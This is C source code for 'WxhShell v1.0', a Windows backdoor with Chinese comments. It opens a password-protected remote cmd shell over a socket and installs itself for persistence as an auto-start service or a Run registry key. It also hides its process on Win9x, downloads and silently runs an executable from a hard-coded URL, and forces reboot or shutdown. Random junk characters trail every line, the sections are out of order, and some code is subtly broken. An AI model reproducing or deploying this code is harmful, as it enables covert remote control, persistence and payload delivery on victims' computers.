    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _i3i HR?  
    else { -<^jGrb  
    closesocket(wsh); LBiowd[  
    ExitThread(0); Z-)[1+Hs  
    } -IBO5;2_  
    break; YP[LQ>  
    } Y4mC_4EU  
  // 获取shell "~u_\STn <  
  case 's': { 8> UKIdp  
    CmdShell(wsh); 24|  
    closesocket(wsh); &*B>P>x  
    ExitThread(0); +}Xr1fr{jw  
    break; XQ]`&w(  
  } 7zD- ?%  
  // 退出 _6;<ow  
  case 'x': { U1l0Uke  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /ZHO>LNN|  
    CloseIt(wsh); (NX)o P  
    break; n`]l^qE  
    } ?>sQF4 V"  
  // 离开 bA9CO\Pp`  
  case 'q': { SO`dnf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); LI[ ?~P2\  
    closesocket(wsh); TWUUvj`.  
    WSACleanup(); kLJlS,nh\r  
    exit(1); l '/N3&5  
    break; 1t+%Gv^sK  
        } n!a<:]b<  
  } o,CBA;{P  
  } HOfF"QAR$  
C1d 04Q  
  // 提示信息 F) ?o,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RcQ>eZHl  
} j")FaIM  
  } + 3h`UF  
W6vf=I@f  
  return; < kz[:n:  
} yO=p3PV d  
5:UyUB  
// shell模块句柄 x=.tiM{#  
int CmdShell(SOCKET sock) [B,'=,Hbs  
{ nTs/Q  V  
STARTUPINFO si; =`-|&  
ZeroMemory(&si,sizeof(si)); c5("-xB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .]P2}w)x?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SG:bM7*1'  
PROCESS_INFORMATION ProcessInfo; $Z ]z  
char cmdline[]="cmd"; "}@i+oS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '<7S^^ax  
  return 0; EWA;L?g|A  
} 77*qkKr  
"mOI!x f@a  
// 自身启动模式 >Q=Ukn;k  
int StartFromService(void) \5~;MI.Sq  
{ `B:"6nW6  
typedef struct &Yf",KcL*I  
{ :I \9YzSs@  
  DWORD ExitStatus; 'z5h3J  
  DWORD PebBaseAddress; Bd5+/G=m  
  DWORD AffinityMask; R"3 M[^  
  DWORD BasePriority; 1 {Jb"  
  ULONG UniqueProcessId; QL97WK\$  
  ULONG InheritedFromUniqueProcessId; gRAC d&)  
}   PROCESS_BASIC_INFORMATION; \3zp)J  
ZYcd.?:6  
PROCNTQSIP NtQueryInformationProcess; OR4!YVVQ  
a }'->H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rk|a5-i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7J|&U2}c  
KzphNHd  
  HANDLE             hProcess; lZW K2  
  PROCESS_BASIC_INFORMATION pbi; Yp1bH+/u  
W%o|0j\1GU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $*\L4<(  
  if(NULL == hInst ) return 0; ,%W<O.  
brSi<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eEl.. y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  f:wd&V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hO#t:WxFI  
R-rCh.  
  if (!NtQueryInformationProcess) return 0; pBp #a  
+}@ 8p[`)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <7XT\?%F  
  if(!hProcess) return 0; B4ZIURciGz  
>MG(qi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @I-Lv5  
4woO;Gm  
  CloseHandle(hProcess); AIRr{Y  
.Cz %:%9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ! bU\zH  
if(hProcess==NULL) return 0; ~AZWds(,N  
SDYv(^ f ,  
HMODULE hMod; > cN~U3  
char procName[255]; wRtZ `o  
unsigned long cbNeeded; xW_yLbE  
nSx]QREL!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bAwl:l\`  
L}sx<=8.m  
  CloseHandle(hProcess); "TS  
ycAKK?O*  
if(strstr(procName,"services")) return 1; // 以服务启动 PdeBDFWD  
=ll=)"O  
  return 0; // 注册表启动 v [njdP  
} p'94SXO_  
$uDqqG(^  
// 主模块 {ZsdLF#  
int StartWxhshell(LPSTR lpCmdLine) :5fAPK2r<  
{ mQ~:Y  
  SOCKET wsl; 58V[mlW)O0  
BOOL val=TRUE; )C hqATKg  
  int port=0; 5n lMrK  
  struct sockaddr_in door; &M />tE Z)  
%^]?5a!  
  if(wscfg.ws_autoins) Install(); 3oy~=  
 #^#HuDH  
port=atoi(lpCmdLine); HQP}w%8x  
@>Mxwpl?  
if(port<=0) port=wscfg.ws_port; xiblPF_n3  
*^%*o?M~  
  WSADATA data; >rsqH+oL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .L6Zm U  
,XkGe   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %@"!8Y(j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !h[VUg_8  
  door.sin_family = AF_INET; p[AO' xx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZraT3  
  door.sin_port = htons(port); Px FWJ?=  
Q]/Uq~m C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ev"|FTI/  
closesocket(wsl); mTNB88p8^D  
return 1; RDqFL.-S  
} 2i{cQ96  
ikD1N  
  if(listen(wsl,2) == INVALID_SOCKET) { 1 rs&74-  
closesocket(wsl); \b=Pj!^gwb  
return 1; -s|8<A||"  
} C'yppl%  
  Wxhshell(wsl); <_Z:'~Zp  
  WSACleanup(); ew _-Eb  
YKmsQ(q`N  
return 0; z!;1i[|x  
0& >H^  
} (Rt7%{*  
\s"U{N-  
// 以NT服务方式启动 @yd4$Mv8%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >MK>gLg}!  
{ 05yZad*  
DWORD   status = 0; P 3MhU;  
  DWORD   specificError = 0xfffffff; ML;*e"$  
:cu #V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K~=UUB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W[EKD 7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <fCKUc  
  serviceStatus.dwWin32ExitCode     = 0; i%e7LJ@5AW  
  serviceStatus.dwServiceSpecificExitCode = 0; m,C1J%{^  
  serviceStatus.dwCheckPoint       = 0; 7dsefNPb  
  serviceStatus.dwWaitHint       = 0; H]4Hj  
76hOB@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qTZFPfyU  
  if (hServiceStatusHandle==0) return; s,#>m*Rh  
m]i @ +C  
status = GetLastError(); `.s({/|[  
  if (status!=NO_ERROR) W>-Et7&2  
{ pym!U@$t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8-<:i  
    serviceStatus.dwCheckPoint       = 0;  :Gm/  
    serviceStatus.dwWaitHint       = 0; [Nn`l,  
    serviceStatus.dwWin32ExitCode     = status; CLvX!O(~  
    serviceStatus.dwServiceSpecificExitCode = specificError;  hI9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )95f*wte  
    return; jw-0M1B  
  } L(&&26Y  
cGjPxG;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; KYzv$oK  
  serviceStatus.dwCheckPoint       = 0; 9tF9T\jW  
  serviceStatus.dwWaitHint       = 0; w$JvB5O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tcxcup%  
} 2eMTxwt*S  
x _c[B4Tw  
// 处理NT服务事件,比如:启动、停止 jy-{~xdg[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oudxm[/U  
{ x.S3Zi}=  
switch(fdwControl) 8WnwQ%;m?  
{ 9 (QJT}qC  
case SERVICE_CONTROL_STOP: sQkhwMg  
  serviceStatus.dwWin32ExitCode = 0; H;RwO@v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9a8cRt6knO  
  serviceStatus.dwCheckPoint   = 0; ,v"YqD+GC5  
  serviceStatus.dwWaitHint     = 0; *}P~P$q%  
  { ;*MLRXq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GSH>7!.#  
  } dAuJXGo  
  return; Y]&j,j&  
case SERVICE_CONTROL_PAUSE: .V,@k7U,V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >y"+ -7V)  
  break; eA<0$Gs,h  
case SERVICE_CONTROL_CONTINUE: 'inFKy'H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a\r\PBi  
  break; `nu''B H  
case SERVICE_CONTROL_INTERROGATE: @;"|@!l|  
  break; |ZmUNiAa  
}; (!:,+*YY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wpN=,&!  
} 79;<_(Y  
5 sX+~Q  
// 标准应用程序主函数 B6={&7U2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |:gf lseE  
{ kDsFR#w&`  
`EaLGzw  
// 获取操作系统版本 7<*yS310  
OsIsNt=GetOsVer();  qi^7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o2F)%TDY  
uLV#SQ=bZN  
  // 从命令行安装 A6thXs2  
  if(strpbrk(lpCmdLine,"iI")) Install(); tS6qWtE  
wfH^<jY)E  
  // 下载执行文件 [1S|dc>.O%  
if(wscfg.ws_downexe) { Vh4X%b$TV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Bx< <~[Ws}  
  WinExec(wscfg.ws_filenam,SW_HIDE); GB=X5<;  
} /V'A%2Cl=T  
xA$XT[D  
if(!OsIsNt) { "]} bFO7C  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;{N!Eb`S  
HideProc(); {ttysQ-  
StartWxhshell(lpCmdLine); _z|65H  
} VZKvaxIk6  
else GBPo8L"9  
  if(StartFromService()) Q~#Wf ?  
  // 以服务方式启动 ^'PWI{ O  
  StartServiceCtrlDispatcher(DispatchTable); I=`U7Bis"  
else 3`DQo%<  
  // 普通方式启动 k5'Vy8q  
  StartWxhshell(lpCmdLine); \"P%`  C  
b gK}-EU  
return 0; [M=7M}f;  
} Q' {M L4  
)"7iJb<E  
#Lh;CSS  
[1Qo#w1  
=========================================== p8Qk 'F=h  
!Wntd\w  
I 5^!y  
rlOAo`hd  
EM(gmWHij  
Ng2twfSl$  
" vApIHI?-  
(x;@%:3j$  
#include <stdio.h> #lL^?|M  
#include <string.h> )q8pk2  
#include <windows.h> TrEu'yxy8*  
#include <winsock2.h> 3u+T~g0^  
#include <winsvc.h> f<d`B]$(  
#include <urlmon.h> ?BeiY zg  
dO! kk"qn  
#pragma comment (lib, "Ws2_32.lib") Ot_]3:`J~  
#pragma comment (lib, "urlmon.lib") bN1|q| 9  
h+g_rvIG*  
#define MAX_USER   100 // 最大客户端连接数 <KL,G};0pm  
#define BUF_SOCK   200 // sock buffer Z&+ g;(g  
#define KEY_BUFF   255 // 输入 buffer 6H.0vN&  
@k,#L`3^  
#define REBOOT     0   // 重启 2lH&  
#define SHUTDOWN   1   // 关机 =(j1rW!  
X9W@&zQ  
#define DEF_PORT   5000 // 监听端口 823Y\x~>  
KOk4^#h@  
#define REG_LEN     16   // 注册表键长度 /K@XzwM  
#define SVC_LEN     80   // NT服务名长度 @zW]2 c  
O`IQ(,yef  
// 从dll定义API ohGJ1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pZ.ecZe/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /$Nsd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p_gm3Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C!<Ou6}!b  
@e.C"@G  
// wxhshell配置信息 'urafE4M  
struct WSCFG {  ?Jm^<  
  int ws_port;         // 监听端口 $f <(NM6?  
  char ws_passstr[REG_LEN]; // 口令 r,73C/*&/  
  int ws_autoins;       // 安装标记, 1=yes 0=no i &nSh ]KK  
  char ws_regname[REG_LEN]; // 注册表键名 {#vgtgBB  
  char ws_svcname[REG_LEN]; // 服务名 zZPO&akB"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KxJ!,F{>H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Uiw2oi&_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 EHJ.T~X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Tv,[DI +  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L\J;J%fz.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EeE7#$l  
PJ|P1O36a  
}; T4Uev*A  
5{X<y#vAC0  
// default Wxhshell configuration oWT3apGO  
struct WSCFG wscfg={DEF_PORT, Mk 6(UXY  
    "xuhuanlingzhe", z\W64^'"Z  
    1, UcHJR"M~c  
    "Wxhshell", 03X1d-  
    "Wxhshell", 6P l<'3&  
            "WxhShell Service", v0{i0%d,?  
    "Wrsky Windows CmdShell Service", ,?%Zc$\LW  
    "Please Input Your Password: ", 9s q  
  1, *~e?TfG  
  "http://www.wrsky.com/wxhshell.exe", L,/%f<wd  
  "Wxhshell.exe" 7&)bJ@1U  
    }; Rr]H y^w  
m+[Ux{$  
// 消息定义模块 zR:L! S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =&]g "a'  
char *msg_ws_prompt="\n\r? for help\n\r#>";  =j]<t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6<QQ@5_  
char *msg_ws_ext="\n\rExit."; JX;G<lev  
char *msg_ws_end="\n\rQuit."; EW OVx*l  
char *msg_ws_boot="\n\rReboot..."; YK'<NE3 4  
char *msg_ws_poff="\n\rShutdown..."; g*_&  
char *msg_ws_down="\n\rSave to "; |0b`fOS  
Xl#ggub?  
char *msg_ws_err="\n\rErr!"; e X|m  
char *msg_ws_ok="\n\rOK!"; UB@+c k  
uo 8YP<q  
char ExeFile[MAX_PATH]; 2HA:"v8  
int nUser = 0; R&k<AZ  
HANDLE handles[MAX_USER]; N~)_DjQP5  
int OsIsNt; ea 'D td  
oD .Cs'  
SERVICE_STATUS       serviceStatus; L#sMSVC+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^hM4j{|&M  
,#9PxwrO  
// 函数声明 z Rr*7G  
int Install(void); V**~m9f  
int Uninstall(void); sDlO#  
int DownloadFile(char *sURL, SOCKET wsh); p_%Rt"!  
int Boot(int flag); %7.30CA|#  
void HideProc(void); H<,gU`&R  
int GetOsVer(void); {JMVV_}n  
int Wxhshell(SOCKET wsl); ggR.4&<  
void TalkWithClient(void *cs); )3EY;  
int CmdShell(SOCKET sock); 2^ nxoye  
int StartFromService(void); /y}xX  
int StartWxhshell(LPSTR lpCmdLine); lRFYx?y  
)Ql%r?(F+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /*mI<[xb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |@d\S[~^G  
A3/k@S-R2  
// 数据结构和表定义 k5pN  
SERVICE_TABLE_ENTRY DispatchTable[] = s;Q!X ?Q  
{ %Q|Atgp  
{wscfg.ws_svcname, NTServiceMain}, u'BaKWPS  
{NULL, NULL} "^%cJAnLX  
}; i8]S:49  
pW3^X=6  
// 自我安装 $xN|5;+  
int Install(void) }5"u[Z.  
{ X'iWJ8  
  char svExeFile[MAX_PATH]; aPL+=58r  
  HKEY key; P&LsVR{#  
  strcpy(svExeFile,ExeFile); ]c'A%:f<  
Y76gJ[y jn  
// 如果是win9x系统,修改注册表设为自启动 .$vK&k  
if(!OsIsNt) { Q\Vgl(;lX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sXFZWj }\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3^yK!-Wp(  
  RegCloseKey(key); pEA:L$&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { utV_W&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w``U=sfmV  
  RegCloseKey(key); ^iV)MTT  
  return 0; .7X^YKR  
    } 'm$L Ij?@  
  } ;aVZ"~a+\  
} r9?Mw06Wc5  
else { jmG~UnM  
j#4kY R{  
// 如果是NT以上系统,安装为系统服务 c7H^$_^=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3ckclO\|>  
if (schSCManager!=0) )vlhN2iv  
{ G 01ON0  
  SC_HANDLE schService = CreateService q!@4~plz  
  ( =7UsVn#o  
  schSCManager, Tw<q,O  
  wscfg.ws_svcname, zfdl45  
  wscfg.ws_svcdisp, ~a2}(]  
  SERVICE_ALL_ACCESS, C;yZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Zv{'MIv&v  
  SERVICE_AUTO_START, <F'\lA9  
  SERVICE_ERROR_NORMAL, *{5fq_  
  svExeFile, {_*yGK48n  
  NULL, apn*,7ps65  
  NULL, :Zlwy-[  
  NULL, s5. CFA  
  NULL, rPm x  
  NULL 2~[juWbz  
  ); -yg7;ff  
  if (schService!=0) !8 b ^,  
  { N2o7%gJw  
  CloseServiceHandle(schService); @O~pV`_tD  
  CloseServiceHandle(schSCManager); yf,z$CR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -nwypu  
  strcat(svExeFile,wscfg.ws_svcname); % ] U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |uJ%5y#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G#$-1"!`  
  RegCloseKey(key); o+VQ\1as?(  
  return 0; ?V=CB,^  
    } U $UIN#  
  } 0*v2y*2V  
  CloseServiceHandle(schSCManager); 2~2 O V  
} 8 FhdN  
} w!XD/j N  
)U# K  
return 1; @(lh%@hO  
} }-`4DHgq  
_u Il  
// 自我卸载 'c~4+o4co  
int Uninstall(void) z@j8lv2j1  
{ GtHivC  
  HKEY key; R@2X3s:  
Fj!U|l\_9  
if(!OsIsNt) { y)<q /  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GN>@ZdVG}#  
  RegDeleteValue(key,wscfg.ws_regname); p]"4#q\(  
  RegCloseKey(key); oL<St$1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "gwSJ~:ds  
  RegDeleteValue(key,wscfg.ws_regname); 2Z%O7V~u  
  RegCloseKey(key); E(|>Ddv B&  
  return 0; v-Sd*( 6  
  } Bbp|!+KP{(  
} K<J9 ~  
} ~QVH<`sn  
else { T^q 0'#/  
W{aY}`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `F6C-  
if (schSCManager!=0) ?h2}#wg  
{ B7%U_F|m  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XX~,>Q}H=  
  if (schService!=0) )`}:8y?  
  { ;wD)hNLAvR  
  if(DeleteService(schService)!=0) { !!y a  
  CloseServiceHandle(schService); 3uMy]HUQ  
  CloseServiceHandle(schSCManager); c[e}w+ uB  
  return 0; B erwI 7!=  
  } S tyfB  
  CloseServiceHandle(schService); GKCroyor  
  } <-0]i_4sK  
  CloseServiceHandle(schSCManager); mA}"a<0  
} ?%kV?eu'  
} N uI9iU  
jFb?b6b  
return 1; (iGTACoF  
} L rPkxmR  
We z 5N  
// 从指定url下载文件 uIrG*K  
int DownloadFile(char *sURL, SOCKET wsh) r_.S>]  
{  C.QO#b  
  HRESULT hr; U<-D(J  
char seps[]= "/"; L8n|m!MOD  
char *token; P>6{&(  
char *file; 4/)k)gLI  
char myURL[MAX_PATH]; tI{_y  
char myFILE[MAX_PATH]; MY/}-* |  
/Q )\+  
strcpy(myURL,sURL); Np)lIGE  
  token=strtok(myURL,seps); (9h`3#  
  while(token!=NULL) cGD(.=  
  { q,6DEz  
    file=token; Xm 2'6f,  
  token=strtok(NULL,seps); {_dvx*M  
  } '3H_wd  
39jG8zr=Z[  
GetCurrentDirectory(MAX_PATH,myFILE); %%wNZ{  
strcat(myFILE, "\\"); V1JIht>Opo  
strcat(myFILE, file); s9d_GhT%-  
  send(wsh,myFILE,strlen(myFILE),0); [1KuzCcK}  
send(wsh,"...",3,0); E~:x(5'%d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~v"L!=~G;a  
  if(hr==S_OK) nxHkv`s k  
return 0; fxIf|9Qi`  
else E.>4C[O  
return 1; c0fo7|  
m#F`] {  
} sT' 5%4  
 f V(J|  
// 系统电源模块 cs'{5!i]  
int Boot(int flag) YgoBHE0#  
{ a@*\o+Su  
  HANDLE hToken; e~':(/%|5;  
  TOKEN_PRIVILEGES tkp; u~-8d;+?y  
:a)u&g@G  
  if(OsIsNt) { NgCvVWto  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 40<mrVl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ! v0LBe4  
    tkp.PrivilegeCount = 1; fd2T=fz-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &8 x-o,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E@3aI Axh  
if(flag==REBOOT) { !0cD$^7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m9Hit8f@Q  
  return 0; ia 73?*mXT  
} ?3xzd P  
else { t<viX's  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t`mV\)fa  
  return 0; # Vha7  
} W{gb:^;zb  
  } ?1eK#Z.  
  else { |H+Wed|  
if(flag==REBOOT) { J9[r|`gJ(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `^y7f  
  return 0; C 6AUNRpl  
} xUistwq  
else { w*JGUk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b%/ 1$>_  
  return 0; tC9n k5~  
} igR";OQk  
} /Mu @,)''  
/RC7"QzL  
return 1; eHDN\QA 2  
} /d<P-!fK  
s}% M4  
// win9x进程隐藏模块 6b \&~b@T  
void HideProc(void) p"ZG%Ow5Q]  
{ A=wh@"2  
=zKM=qba  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?m? ::RH  
  if ( hKernel != NULL ) DZ PPJ2}  
  { 8eHyL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fDU!~/#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "5wa91*  
    FreeLibrary(hKernel); ?oHpFlj  
  } r #cGop]  
^qD$z=z-  
return; (c &mCJN  
} C={Y;C1  
<;Zmjeb+#  
// 获取操作系统版本 DG:Z=LuJr  
int GetOsVer(void) Hn+~5@.  
{ \Et3|Iv  
  OSVERSIONINFO winfo; i5Yb`Z[Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }oGA-Qc}B  
  GetVersionEx(&winfo); aH/ k Ua  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j yUCH*@  
  return 1; ;P%1j|7  
  else ~<F8ug #  
  return 0; U6fgo3RH  
} 0*D$R`$  
.Od !0(0  
// 客户端句柄模块 M{T-iW"  
int Wxhshell(SOCKET wsl) V7fq4O^:  
{ Fgh_9S9J  
  SOCKET wsh; \B,@`dw  
  struct sockaddr_in client; .jT#:_  
  DWORD myID; ]tRu2Ygf  
Jgd'1'FOs  
  while(nUser<MAX_USER) dV$gB<iS  
{ 9} M?P  
  int nSize=sizeof(client); 9u}Hmb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X296tA>C`  
  if(wsh==INVALID_SOCKET) return 1; _ y8Wn}19f  
a:IC)]j$_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ep3N&Imp  
if(handles[nUser]==0) Y}|X|!0x  
  closesocket(wsh); 9FYUo  
else x vl#w  
  nUser++; q"sed]  
  } O#~yKqB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dkBIx$t  
}DfshZ0QM  
  return 0; wX5tp1 ?1J  
} V0.vQ/  
qqr?!vem6  
// 关闭 socket dx{bB%?Y\=  
void CloseIt(SOCKET wsh) oiT[de\S  
{ udUyh%n  
closesocket(wsh); YPK(be_|I  
nUser--; u9GQU  
ExitThread(0); m6&~HfwN  
} \[_t]'p  
_] sn0rX  
// 客户端请求句柄 g:D>.lKd  
void TalkWithClient(void *cs) dIa+K?INX  
{ L Mbn  
37 ,  
  SOCKET wsh=(SOCKET)cs; m^f0V2M_  
  char pwd[SVC_LEN]; {V$|3m>:*  
  char cmd[KEY_BUFF]; ?2;&O`x*  
char chr[1]; Cc' 37~6~P  
int i,j; mD0f<gJ1  
Ug t.&IA  
  while (nUser < MAX_USER) { A8fOQ  
aa?b`[Xa  
if(wscfg.ws_passstr) { aS{n8P6vW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k,E{C{^M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )72+\C[*~r  
  //ZeroMemory(pwd,KEY_BUFF); 3kIN~/<R+7  
      i=0; (vPN5F  
  while(i<SVC_LEN) { UkT=W!cq  
|\<`Ib4j  
  // 设置超时 [.8BTj1%  
  fd_set FdRead; }=UHbU.n~!  
  struct timeval TimeOut; V>)OpvoT#  
  FD_ZERO(&FdRead); $@Rxrx_@M  
  FD_SET(wsh,&FdRead); U;V7 u/{  
  TimeOut.tv_sec=8; )}]g] g  
  TimeOut.tv_usec=0; DiScFx |rE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7he,?T)vD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q J=~Y|(  
}Qc@m9;bH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {3p4:*}  
  pwd=chr[0]; 6C^ D#.S  
  if(chr[0]==0xd || chr[0]==0xa) { z8~NZ;A  
  pwd=0; :O?MSS;~  
  break; |vwVghC  
  } axRV:w;E<  
  i++; eV"h0_ox  
    }  u\x}8pn  
V>%rv'G8  
  // 如果是非法用户,关闭 socket 5\sd3<:+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }DE g-j,F  
} =Z3F1Cq?  
g^2OkV(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dA`IEQJL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >~sI8czR*  
?|C2*?hZ+  
while(1) { =:,g  
VimE@Hz  
  ZeroMemory(cmd,KEY_BUFF); }wjw:M  
D|L9Vs`  
      // 自动支持客户端 telnet标准   {G0T$,'DR  
  j=0; qIE9$7*X  
  while(j<KEY_BUFF) { }J`w4P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]z;I _-  
  cmd[j]=chr[0]; 18d4fR   
  if(chr[0]==0xa || chr[0]==0xd) { /-qNh >v4  
  cmd[j]=0; |`,2ri*5A  
  break; \*y-g@-{W$  
  } 7P5)Z-K[  
  j++; S_4?K)n #  
    } b-?gw64#  
n;C :0  
  // 下载文件 4Zddw0|2  
  if(strstr(cmd,"http://")) { T|op$ s|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T_ <@..C  
  if(DownloadFile(cmd,wsh)) fLD, 5SN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  #ut  
  else !bx;Ta.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *NaB#;+|k`  
  } 9C9oUtS  
  else { c?*=|}N  
7\[@ m3s  
    switch(cmd[0]) { *3FKt&v 0  
  t%FwXaO#  
  // 帮助 ^4hO  
  case '?': { beGa#JH,  
